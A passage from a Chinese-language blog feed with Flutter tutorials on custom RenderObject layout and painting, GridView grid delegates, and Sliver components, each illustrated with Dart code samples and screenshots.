</span></span><span style="display:flex;"><span>    positionChild(<span style="color:#ae81ff">2</span>, Offset.zero); <span style="color:#75715e">//将2号组件放在左上角
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="53-mydelegate的局限性">5.3 MyDelegate的局限性</h4>
<ol>
<li>首先，MyDelegate无法在绘制时获得其子组件的大小。通过继承<code>MultiChildLayoutDelegate</code>的<code>Size getSize(BoxConstraints c)</code>方法，我们可以得到上级组件给我们的限制，也可以向上传递我们需要的Size大小，但我们并不能通过这个函数获得子组件的大小，也就是说我们无法使得MyDelegate自适应子组件的大小。</li>
<li>我们无法在<code>performLayout</code>函数中“无中生有”，我们只能在其中画出children数组中已经存在的组件，不能在这里创造出一个新的组件。</li>
</ol>
<p>为了解决上述两个问题，我们可以使用RenderObject</p>
<h3 id="六布局原理renderobject">六、布局原理——RenderObject</h3>
<h4 id="61-简述">6.1 简述</h4>
<p>​		我们知道，平常我们在写的Stateless、Stateful组件，其实并没有将自己画在屏幕上的能力，它们只是定义了一个build方法而已。真正将内容写在屏幕上的，其实是<code>RenderObject</code>。</p>
<p>​		我们举一个例子来说明：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container(
</span></span><span style="display:flex;"><span>  color: Colors.grey,
</span></span><span style="display:flex;"><span>  child: MyRenderBox(
</span></span><span style="display:flex;"><span>    child: <span style="color:#66d9ef">const</span> FlutterLogo(size: <span style="color:#ae81ff">200</span>),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyRenderBox</span> <span style="color:#66d9ef">extends</span> SingleChildRenderObjectWidget {
</span></span><span style="display:flex;"><span>  MyRenderBox({<span style="color:#66d9ef">required</span> Widget child}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(child: child);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  RenderObject createRenderObject(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> RenderMyRenderBox();
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">RenderMyRenderBox</span> <span style="color:#66d9ef">extends</span> RenderBox <span style="color:#66d9ef">with</span> RenderObjectWithChildMixin {
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//渲染pipeline：performLayout、paint、composition
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> performLayout() {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//处理布局
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    child<span style="color:#f92672">!</span>.layout(constraints, <span style="color:#75715e">//也可以自定义紧约束
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        parentUsesSize: <span style="color:#66d9ef">true</span>); <span style="color:#75715e">//作为父组件需要使用子组件的size，默认是false
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#75715e">//优化用：如果不需要，子组件改动时就可以不必继续遍历渲染父组件
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//size = const Size(300, 300);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    size <span style="color:#f92672">=</span> (child <span style="color:#f92672">as</span> RenderBox).size;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> paint(PaintingContext context, Offset offset) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//处理绘制
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    context.paintChild(child<span style="color:#f92672">!</span>, offset <span style="color:#f92672">+</span> Offset(<span style="color:#ae81ff">120</span>,<span style="color:#ae81ff">120</span>));
</span></span><span style="display:flex;"><span>    	<span style="color:#75715e">//FlutterLogo跑到MyRenderBox外面去了！
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//context.canvas.draw** //可以在这里画任意图形！
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#75715e">//context.pushOpacity		//Opacity原理：使用push增加一个图层（资源耗费多）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/EnkvuWcwbIVN9Tz.png" alt="截屏2021-11-03 下午4.39.08" style="zoom:25%;" />
<p>​		在上述代码中，performLayout和paint是两次不同的遍历过程（flutter一般是深度优先），因此这里的FlutterLogo可以跑到MyRenderBox外面去！</p>
<p>​		paintChild函数是非常自由的，我们可以选择canvas.draw或者push系列函数做更多想要的事情，也可以干脆不做任何事。</p>
<h4 id="62-hot-reload原理updaterenderobject">6.2 Hot Reload原理——updateRenderObject</h4>
<p>通过自制一个ShadowRenderBox，我们可以实现阴影效果：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>Container(
</span></span><span style="display:flex;"><span>  color: Colors.grey,
</span></span><span style="display:flex;"><span>  child: ShadowBox(
</span></span><span style="display:flex;"><span>    distance: <span style="color:#ae81ff">20.0</span>,
</span></span><span style="display:flex;"><span>    child: <span style="color:#66d9ef">const</span> Icon(Icons.category, size: <span style="color:#ae81ff">80</span>),
</span></span><span style="display:flex;"><span>  ),
</span></span><span style="display:flex;"><span>),
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ShadowBox</span> <span style="color:#66d9ef">extends</span> SingleChildRenderObjectWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">final</span> <span style="color:#66d9ef">double</span> distance;
</span></span><span style="display:flex;"><span>  ShadowBox({<span style="color:#66d9ef">required</span> Widget child, <span style="color:#66d9ef">required</span> <span style="color:#66d9ef">this</span>.distance})
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(child: child);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  RenderObject createRenderObject(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> RenderShadowBox(distance: distance);
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> updateRenderObject(
</span></span><span style="display:flex;"><span>      BuildContext context, covariant RenderShadowBox renderObject) {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//如果不定义这个函数，热重载时会根据key和类型判断元素是否改变，如果没有改变，则继续使用原来的renderObject，distance的值不会改变
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    renderObject.distance <span style="color:#f92672">=</span> distance;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	也可以使用 class RenderShadowBox extends RenderProxyBox
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">	此时，不再performLayout()和paint函数不再必须，只需要写我们需要的那个函数即可
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">*/</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">RenderShadowBox</span> <span style="color:#66d9ef">extends</span> RenderBox <span style="color:#66d9ef">with</span> RenderObjectWithChildMixin {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">double</span> distance;
</span></span><span style="display:flex;"><span>  RenderShadowBox({<span style="color:#66d9ef">required</span> <span style="color:#66d9ef">this</span>.distance});
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> performLayout() {
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//处理布局
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    child<span style="color:#f92672">!</span>.layout(constraints, parentUsesSize: <span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span>    size <span style="color:#f92672">=</span> (child <span style="color:#f92672">as</span> RenderBox).size;
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> paint(PaintingContext context, Offset offset) {
</span></span><span style="display:flex;"><span>    context.paintChild(child<span style="color:#f92672">!</span>, offset);
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//插入一个新的半透明图层
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    context.pushOpacity(offset, <span style="color:#ae81ff">127</span>, (context, offset) {
</span></span><span style="display:flex;"><span>      context.paintChild(child<span style="color:#f92672">!</span>, offset <span style="color:#f92672">+</span> Offset(distance, distance));
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/4K9Utaw3AQTY7fx.png" alt="截屏2021-11-03 下午5.01.29" style="zoom:25%;" />
<p>上面的<code>RenderShadowBox</code>可以简单地写成下面的形式：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">RenderShadowBox</span> <span style="color:#66d9ef">extends</span> RenderProxyBox {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">double</span> distance;
</span></span><span style="display:flex;"><span>  RenderShadowBox({<span style="color:#66d9ef">required</span> <span style="color:#66d9ef">this</span>.distance});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">void</span> paint(PaintingContext context, Offset offset) {
</span></span><span style="display:flex;"><span>    context.paintChild(child<span style="color:#f92672">!</span>, offset);
</span></span><span style="display:flex;"><span>    context.pushOpacity(offset, <span style="color:#ae81ff">127</span>, (context, offset) {
</span></span><span style="display:flex;"><span>      context.paintChild(child<span style="color:#f92672">!</span>, offset <span style="color:#f92672">+</span> Offset(distance, distance));
</span></span><span style="display:flex;"><span>    });
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>​		另外，也可以设置<code>DebugOverflowIndicatorMixin</code>来定义超出界限后的那个黑黄相间的错误框。那个overflow组件也只是通过<code>paintOverflowIndicator()</code>手动绘制的而已。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>Flutter GridView简介</title>
      <link>https://weibo.io/2021/11/flutter-gridview/</link>
      <pubDate>Wed, 03 Nov 2021 01:52:00 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/flutter-gridview/</guid>
      <description>GridView import &amp;#39;package:flutter/material.dart&amp;#39;; void main() { runApp(const MyApp()); } class MyApp extends StatelessWidget { const MyApp({Key? key}) : super(key: key); // This widget is the root of your application. @override Widget build(BuildContext context) { return MaterialApp( title: &amp;#39;Flutter Demo&amp;#39;, theme: ThemeData( primarySwatch: Colors.blue, ), home: const MyHomePage(title: &amp;#39;Flutter Demo Home Page&amp;#39;), ); } } class MyHomePage extends StatefulWidget { const MyHomePage({Key? key, required this.title}) : super(key: key); final String title; @override State&amp;lt;MyHomePage&amp;gt; createState() =&amp;gt; _MyHomePageState(); } class _MyHomePageState extends State&amp;lt;MyHomePage&amp;gt; { @override Widget build(BuildContext context) { return Scaffold( appBar: AppBar( title: Text(widget.</description>
      <content:encoded><![CDATA[<h3 id="gridview">GridView</h3>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#66d9ef">import</span> <span style="color:#e6db74">&#39;package:flutter/material.dart&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> main() {
</span></span><span style="display:flex;"><span>  runApp(<span style="color:#66d9ef">const</span> MyApp());
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyApp</span> <span style="color:#66d9ef">extends</span> StatelessWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> MyApp({Key<span style="color:#f92672">?</span> key}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">// This widget is the root of your application.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> MaterialApp(
</span></span><span style="display:flex;"><span>      title: <span style="color:#e6db74">&#39;Flutter Demo&#39;</span>,
</span></span><span style="display:flex;"><span>      theme: ThemeData(
</span></span><span style="display:flex;"><span>        primarySwatch: Colors.blue,
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>      home: <span style="color:#66d9ef">const</span> MyHomePage(title: <span style="color:#e6db74">&#39;Flutter Demo Home Page&#39;</span>),
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">MyHomePage</span> <span style="color:#66d9ef">extends</span> StatefulWidget {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">const</span> MyHomePage({Key<span style="color:#f92672">?</span> key, <span style="color:#66d9ef">required</span> <span style="color:#66d9ef">this</span>.title}) <span style="color:#f92672">:</span> <span style="color:#66d9ef">super</span>(key: key);
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">final</span> <span style="color:#66d9ef">String</span> title;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  State<span style="color:#f92672">&lt;</span>MyHomePage<span style="color:#f92672">&gt;</span> createState() <span style="color:#f92672">=&gt;</span> _MyHomePageState();
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">_MyHomePageState</span> <span style="color:#66d9ef">extends</span> State<span style="color:#f92672">&lt;</span>MyHomePage<span style="color:#f92672">&gt;</span> {
</span></span><span style="display:flex;"><span>  <span style="color:#960050;background-color:#1e0010">@</span>override
</span></span><span style="display:flex;"><span>  Widget build(BuildContext context) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> Scaffold(
</span></span><span style="display:flex;"><span>      appBar: AppBar(
</span></span><span style="display:flex;"><span>        title: Text(widget.title),
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>      body: GridView.builder(
</span></span><span style="display:flex;"><span>        gridDelegate: <span style="color:#66d9ef">const</span> SliverGridDelegateWithFixedCrossAxisCount(
</span></span><span style="display:flex;"><span>          crossAxisCount: <span style="color:#ae81ff">4</span>,    <span style="color:#75715e">//一行显示4个
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>          childAspectRatio: <span style="color:#ae81ff">16</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">9</span>  <span style="color:#75715e">//方块比例
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        ),
</span></span><span style="display:flex;"><span>       itemBuilder: (_, index)<span style="color:#f92672">=&gt;</span>Container(
</span></span><span style="display:flex;"><span>         color: Colors.primaries[index<span style="color:#f92672">%</span>Colors.primaries.length],
</span></span><span style="display:flex;"><span>       )),
</span></span><span style="display:flex;"><span>      floatingActionButton: FloatingActionButton(
</span></span><span style="display:flex;"><span>        onPressed: () {},
</span></span><span style="display:flex;"><span>        tooltip: <span style="color:#e6db74">&#39;Increment&#39;</span>,
</span></span><span style="display:flex;"><span>        child: <span style="color:#66d9ef">const</span> Icon(Icons.add),
</span></span><span style="display:flex;"><span>      ),
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/Lh4lFTVkOwHa7mz.png" alt="截屏2021-11-02 下午10.34.16" style="zoom:25%;" />
<p>​		使用<code>SliverGridDelegateWithFixedCrossAxisCount</code>时，屏幕一行显示的数量已经确定，但是当手机横过来时，就会出现不那么协调的情况，产生了格子的拉伸，而且没有起到显示更多内容的效果：</p>
<img src="https://i.loli.net/2021/11/03/kNI2efp6Bub4KzU.png" alt="截屏2021-11-02 下午10.36.27" style="zoom: 25%;" />
<p>此时我们可以使用<code>SliverGridDelegateWithMaxCrossAxisExtent</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>gridDelegate: <span style="color:#66d9ef">const</span> SliverGridDelegateWithMaxCrossAxisExtent(
</span></span><span style="display:flex;"><span>  maxCrossAxisExtent: <span style="color:#ae81ff">100</span>,    <span style="color:#75715e">//一个方块最多显示100像素
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  childAspectRatio: <span style="color:#ae81ff">16</span> <span style="color:#f92672">/</span> <span style="color:#ae81ff">9</span>,  <span style="color:#75715e">//方块比例
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  mainAxisSpacing: <span style="color:#ae81ff">4.0</span>,     <span style="color:#75715e">//主轴间距
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  crossAxisSpacing: <span style="color:#ae81ff">2.0</span>     <span style="color:#75715e">//副轴间距
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">//这里也可以写成GridView.extent，直接指定maxCrossAxisExtent属性，可惜的是这样就不支持动态懒加载（builder）了
</span></span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/szP7UiAMVwN6CLd.png" alt="截屏2021-11-02 下午10.45.10" style="zoom:25%;" />
]]></content:encoded>
    </item>
    
    <item>
      <title>Flutter Sliver组件全解</title>
      <link>https://weibo.io/2021/11/flutter-sliver/</link>
      <pubDate>Wed, 03 Nov 2021 01:47:00 +0000</pubDate>
      
      <guid>https://weibo.io/2021/11/flutter-sliver/</guid>
      <description>一、初试Sliver 1.1 使用Sliver制作一个ListView ​	ListView的底层原理就是Sliver，我们可以用CustomScrollView先做出一个视窗（所谓视窗就是里面的内容比边框大），在其中使用SliverChildBuilderDelegate，而事实上，这也正是ListViewBuilder的底层做法。
CustomScrollView(	//定义一个视窗 slivers: [ SliverList(delegate: SliverChildBuilderDelegate((context, index) { return Container( height: 200, color: Colors.primaries[index%Colors.primaries.length], ); })) ], ) 1.2 更加灵活的ListView——加入任意Widget ​	而使用Sliver，我们就可以实现更加灵活的功能，例如在顶部加入一个FlutterLogo：
CustomScrollView( slivers: [ SliverToBoxAdapter(child: FlutterLogo(size:100),),	//加入一个FlutterLogo SliverList( delegate: SliverChildBuilderDelegate((context, index) { //使用SliverChildBuilderDelegate实现动态加载（Builder） //delegate: SliverChildListDelegate对应不用Builder的ListView return Container( height: 200, color: Colors.primaries[index%Colors.primaries.length], ); })) ], ) 1.3 更加灵活的ListView——组合GridView ​	我们也可以尝试组合GridView：
CustomScrollView( slivers: [ /* 1. 用SliverToBoxAdapter包裹的普通Widget */ const SliverToBoxAdapter(child: FlutterLogo(size:100),), /* 2. 用SliverGrid表示的GridView */ SliverGrid( gridDelegate: const SliverGridDelegateWithFixedCrossAxisCount(crossAxisCount: 3), delegate: SliverChildBuilderDelegate((context, index) =&amp;gt; Container( color: Colors.</description>
      <content:encoded><![CDATA[<h3 id="一初试sliver">一、初试Sliver</h3>
<h4 id="11-使用sliver制作一个listview">1.1 使用Sliver制作一个ListView</h4>
<p>​		ListView的底层原理就是Sliver，我们可以用<code>CustomScrollView</code>先做出一个视窗（所谓视窗就是里面的内容比边框大），在其中使用<code>SliverChildBuilderDelegate</code>，而事实上，这也正是ListViewBuilder的底层做法。</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>CustomScrollView(		<span style="color:#75715e">//定义一个视窗
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  slivers: [
</span></span><span style="display:flex;"><span>    SliverList(delegate: SliverChildBuilderDelegate((context, index) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span> Container(
</span></span><span style="display:flex;"><span>        height: <span style="color:#ae81ff">200</span>, 
</span></span><span style="display:flex;"><span>        color: Colors.primaries[index<span style="color:#f92672">%</span>Colors.primaries.length],
</span></span><span style="display:flex;"><span>      );
</span></span><span style="display:flex;"><span>    }))
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/32aMcJSl1Bu9zYE.png" alt="截屏2021-11-02 下午10.19.31" style="zoom: 25%;" />
<h4 id="12-更加灵活的listview加入任意widget">1.2 更加灵活的ListView——加入任意Widget</h4>
<p>​		而使用Sliver，我们就可以实现更加灵活的功能，例如在顶部加入一个FlutterLogo：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>CustomScrollView(
</span></span><span style="display:flex;"><span>  slivers: [
</span></span><span style="display:flex;"><span>    SliverToBoxAdapter(child: FlutterLogo(size:<span style="color:#ae81ff">100</span>),),	<span style="color:#75715e">//加入一个FlutterLogo
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    SliverList(
</span></span><span style="display:flex;"><span>      delegate: SliverChildBuilderDelegate((context, index) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//使用SliverChildBuilderDelegate实现动态加载（Builder）
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">//delegate: SliverChildListDelegate对应不用Builder的ListView
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">return</span> Container(
</span></span><span style="display:flex;"><span>          height: <span style="color:#ae81ff">200</span>, 
</span></span><span style="display:flex;"><span>          color: Colors.primaries[index<span style="color:#f92672">%</span>Colors.primaries.length],
</span></span><span style="display:flex;"><span>        );
</span></span><span style="display:flex;"><span>    	}))
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/g7hMdl8nPDjAi3W.png" alt="截屏2021-11-02 下午10.22.03" style="zoom:25%;" />
<h4 id="13-更加灵活的listview组合gridview">1.3 更加灵活的ListView——组合GridView</h4>
<p>​		我们也可以尝试组合GridView：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>CustomScrollView(
</span></span><span style="display:flex;"><span>  slivers: [
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">/* 1. 用SliverToBoxAdapter包裹的普通Widget */</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">const</span> SliverToBoxAdapter(child: FlutterLogo(size:<span style="color:#ae81ff">100</span>),),
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">/* 2. 用SliverGrid表示的GridView */</span>
</span></span><span style="display:flex;"><span>    SliverGrid(
</span></span><span style="display:flex;"><span>      gridDelegate: <span style="color:#66d9ef">const</span> SliverGridDelegateWithFixedCrossAxisCount(crossAxisCount: <span style="color:#ae81ff">3</span>),
</span></span><span style="display:flex;"><span>      delegate: SliverChildBuilderDelegate((context, index) <span style="color:#f92672">=&gt;</span> Container(
</span></span><span style="display:flex;"><span>        color: Colors.primaries[index <span style="color:#f92672">%</span> Colors.primaries.length]
</span></span><span style="display:flex;"><span>      ), childCount: <span style="color:#ae81ff">6</span>,  <span style="color:#75715e">//也就是GridView中的itemCount
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>                                          )
</span></span><span style="display:flex;"><span>    ),
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">/* 3. 用SliverList表示的ListViewer.builder */</span>
</span></span><span style="display:flex;"><span>    SliverList(
</span></span><span style="display:flex;"><span>      delegate: SliverChildBuilderDelegate((context, index) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> Container(
</span></span><span style="display:flex;"><span>          height: <span style="color:#ae81ff">200</span>, 
</span></span><span style="display:flex;"><span>          color: Colors.primaries[index<span style="color:#f92672">%</span>Colors.primaries.length],
</span></span><span style="display:flex;"><span>        );
</span></span><span style="display:flex;"><span>      })),
</span></span><span style="display:flex;"><span>  ],
</span></span><span style="display:flex;"><span>)
</span></span></code></pre></div><img src="https://i.loli.net/2021/11/03/seKE9IT8mzvip4w.png" alt="截屏2021-11-02 下午11.00.19" style="zoom:25%;" />
<h3 id="二其他的几个常用sliver">二、其他的几个常用Sliver</h3>
<h4 id="21-使用itemextentsliverfixedextentlist">2.1 使用itemExtent——SliverFixedExtentList</h4>
<p>​		您肯定还记得ListView中，为了方面滚动条的定位和跳转，我们会通过ListView中的<code>itemExtent</code>属性来固定每一项在主轴上的长度，例如我们需要定位到第100个元素，只需要将其乘上对应的数即可。</p>
<p>​		这里的<code>itemExtent</code>属性不可以用列表内容Widget的<code>widget</code>或<code>height</code>属性替代，因为那样不会获得滚动条的性能优化。</p>
<p>​		在Sliver中我们需要使用<code>SliverFixedExtentList</code>来定义itemExtent属性，这样我们就可以让某些元素有固定的长度，另一些则不必。</p>
<h4 id="22-自适应的itemextentsliverprototypeextentlist">2.2 自适应的itemExtent——SliverPrototypeExtentList</h4>
<p>​		通常我们很难直接得到内容Widget的高度，例如字号可能会因为老年模式而改变，因此我们可以使用<code>SliverPrototypeExtentList</code>来动态确定其<code>itemExtent</code>.</p>
<p>​		<code>SliverPrototypeExtentList</code>需要一个<code>prototypeItem</code>属性，它只是用来测量内容在主轴上的高度，并不会真的渲染到屏幕上。当字号调整时，我们只要配置了<code>prototypeItem</code>属性，它就会自动重新计算其<code>itemExtent</code>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span><span style="color:#75715e">//自适应的itemExtent
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>SliverPrototypeExtentList(delegate: delegate, prototypeItem: prototypeItem),
</span></span></code></pre></div><h4 id="23-使用pageviewsliverfillviewport">2.3 使用PageView——SliverFillViewport</h4>
<p>​		回想一下<code>PageView</code>组件——其中的每一个项目都会沾满整个屏幕，通过滑动来切换，通常我们可以用它来做软件的开屏教程。</p>
<p>​		在Sliver中，提供了一个叫做<code>SliverFillViewport</code>的组件，它也是PageView的底层原理。</p>
<h4 id="24-自动回缩的华丽导航条sliverappbar">2.4 自动回缩的华丽导航条——SliverAppBar</h4>
<p>​		我们可以使用SliverAppBar制作一个华丽的动态导航条，首先我们要去掉Scaffold中的AppBar属性，并用下面的代码添加到<code>CustomScrollView</code>中：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dart" data-lang="dart"><span style="display:flex;"><span>SliverAppBar(
</span></span><span style="display:flex;"><span>  floating: <span style="color:#66d9ef">true</span>, <span style="color:#75715e">//稍微一向下拉导航条就出现
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>  snap: <span style="color:#66d9ef">true</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">//title: Text(&#34;111&#34;),
